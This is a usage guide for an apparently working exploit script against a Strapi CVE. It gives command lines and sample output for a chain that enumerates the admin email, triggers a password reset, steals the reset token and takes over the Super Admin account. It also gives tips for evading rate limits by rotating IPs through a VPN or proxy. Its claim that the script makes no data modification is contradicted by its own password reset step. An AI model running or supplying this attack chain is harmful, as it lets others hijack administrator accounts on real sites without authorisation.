CVE-2026-27886 Automated Exploit - Usage Guide

What This Script Does

Automates the full account takeover chain in 4 HTTP request groups:

1. Vulnerability Verification - Confirms the target is vulnerable
2. Email Enumeration - Extracts admin email via boolean oracle (~500 requests)
3. Password Reset Trigger - Initiates Strapi's password recovery flow
4. Token Exfiltration - Steals the 40-char reset token (~320 requests)
5. Account Takeover - Uses stolen token to get Super Admin JWT

Basic Usage

Verify-Only Mode (Safe)

Check if target is vulnerable without exploitation:

./cve-2026-27886-exploit.py https://target/api/articles --verify-only

Full Exploit (Quickest)

Automate everything if you don't know the admin email:

./cve-2026-27886-exploit.py https://target/api/articles

Output:

[+] Target: https://target/api/articles
[+] Base URL: https://target
[*] Verifying vulnerability...
    [+] Vulnerable: baseline=12, where_test=0
[*] Enumerating admin email...
    [email protected]
[*] Triggering password reset for [email protected]...
    [+] Password reset triggered (HTTP 204)
[*] Extracting 40-char reset token...
    [100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Resetting password with stolen token...
    [+] Password reset successful!
    [+] JWT: eyJhbGciOiJIUzI1NiIs...
    [+] User: [email protected] (ID: 1)

[+] SUCCESS! Admin account compromised.
[+] JWT Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Skip Email Enumeration (Faster)

If you already know the admin email (saves ~500 requests):

./cve-2026-27886-exploit.py https://target/api/articles \
  --email [email protected]

Custom Password

Set a custom password instead of default:

./cve-2026-27886-exploit.py https://target/api/articles \
  --email [email protected] \
  --password "MyPassword123!"

Add Delays (Avoid Rate Limits)

If the target has rate limiting:

./cve-2026-27886-exploit.py https://target/api/articles \
  --delay 0.1

This adds 100ms between each request (~2-3 minutes for full exploitation).

Explicit Base URL

If /admin/* endpoints are on a different host:

./cve-2026-27886-exploit.py https://api.target/articles \
  --base-url https://admin.target

Common Issues

"Non-JSON response"

• Wrong endpoint (not a Strapi Content API collection)
• Try: https://target/api/products, https://target/api/articles, etc.

"Failed to enumerate email"

• Collection is empty (no updated_by_id foreign keys)
• Admin role doesn't match anyone in the database
• Try a different endpoint if multiple exist

"Failed to extract reset token"

• Password reset wasn't triggered
• Different admin email than guessed
• Token expired (try again, it lasts ~24 hours by default)

Getting rate-limited

• Add --delay 0.05 or higher
• Or use a VPN/proxy to rotate IP addresses

Security Notes

This script:

• ✅ Only makes GET/POST requests (no data modification)
• ✅ Targets only the vulnerable Strapi query parameter bypass
• ✅ Uses Strapi's legitimate password reset endpoints
• ✅ Leaves no stored artifacts on the target
• ⚠️ IS LOUD - Makes 800+ requests in sequence (obvious in logs)